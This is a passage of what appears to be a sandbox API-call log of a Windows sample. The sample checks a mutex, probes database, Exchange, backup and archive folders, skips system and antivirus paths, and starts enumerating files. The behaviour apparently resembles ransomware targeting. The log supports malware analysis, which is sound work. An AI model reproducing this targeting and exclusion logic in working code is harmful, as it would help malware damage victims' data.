cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0057.746] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.746] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.746] GlobalUnlock (hMem=0x44000c) returned 0 [0057.746] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.746] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.746] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.746] GlobalUnlock (hMem=0x44000c) returned 0 [0057.746] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.746] GlobalUnlock (hMem=0x440004) returned 0 [0057.746] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.746] GlobalLock (hMem=0x440004) returned 0x550170 [0057.746] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.746] GlobalUnlock (hMem=0x440004) returned 0 [0057.746] GlobalLock (hMem=0x440004) returned 0x550170 [0057.746] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.746] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.746] GlobalUnlock (hMem=0x440004) returned 0 [0057.746] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.746] GlobalUnlock (hMem=0x44000c) returned 0 [0057.746] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.746] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles", len=0x39 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned 1 [0057.747] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.747] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.747] GlobalUnlock (hMem=0x44000c) returned 0 [0057.747] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.747] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.747] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.747] GlobalUnlock (hMem=0x44000c) returned 0 [0057.747] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.747] GlobalUnlock (hMem=0x440004) returned 0 [0057.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@숄R쇘R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0057.750] GetLastError () returned 0x3 [0057.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@셤R企@\x18㾤Q\x181")) returned 0xffffffff [0057.752] GetLastError () returned 0x2 [0057.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0057.754] GetLastError () returned 0x2 [0057.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@봬R企@\x18?T\x18D")) returned 0xffffffff [0057.755] GetLastError () returned 0x2 [0057.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@셤R企@\x18몤R\x18j")) returned 0xffffffff [0057.757] GetLastError () returned 0x2 [0057.757] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.757] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0057.758] GetLastError () returned 0x2 [0057.758] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.758] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0057.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뱔R企@\x18?T\x18y")) returned 0xffffffff [0057.760] GetLastError () returned 0x2 [0057.760] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@셤R企@\x18?T\x18\x81")) returned 0xffffffff [0057.761] GetLastError () returned 0x2 [0057.761] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0057.763] GetLastError () returned 0x2 [0057.763] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.763] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뱔R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.764] GetLastError () returned 0x2 [0057.764] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@셤R企@\x18?T\x18\x97")) returned 0xffffffff [0057.766] GetLastError () returned 0x2 [0057.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.766] GlobalLock (hMem=0x440004) returned 0x550170 [0057.766] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.766] GlobalUnlock (hMem=0x440004) returned 0 [0057.766] GlobalLock (hMem=0x440004) returned 0x550170 [0057.766] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.766] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.766] GlobalUnlock (hMem=0x440004) returned 0 [0057.766] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.766] GlobalUnlock (hMem=0x44000c) returned 0 [0057.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.766] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.766] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.767] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.767] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.767] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.767] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.767] GlobalUnlock (hMem=0x44000c) returned 0 [0057.767] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.767] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.767] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.767] GlobalUnlock (hMem=0x44000c) returned 0 [0057.767] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.767] GlobalUnlock (hMem=0x440004) returned 0 [0057.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", cchLength=0x3a | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\") returned 0x3a [0057.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.768] GlobalLock (hMem=0x440004) returned 0x550170 [0057.768] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.768] GlobalUnlock (hMem=0x440004) returned 0 [0057.768] GlobalLock (hMem=0x440004) returned 0x550170 [0057.768] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.768] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.768] GlobalUnlock (hMem=0x440004) returned 0 [0057.768] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.768] GlobalUnlock (hMem=0x44000c) returned 0 [0057.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.769] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.769] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.769] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.769] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.769] GlobalUnlock (hMem=0x44000c) returned 0 [0057.769] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.769] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.769] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.769] GlobalUnlock (hMem=0x44000c) returned 0 [0057.769] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.770] GlobalUnlock (hMem=0x440004) returned 0 [0057.770] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.770] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0057.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 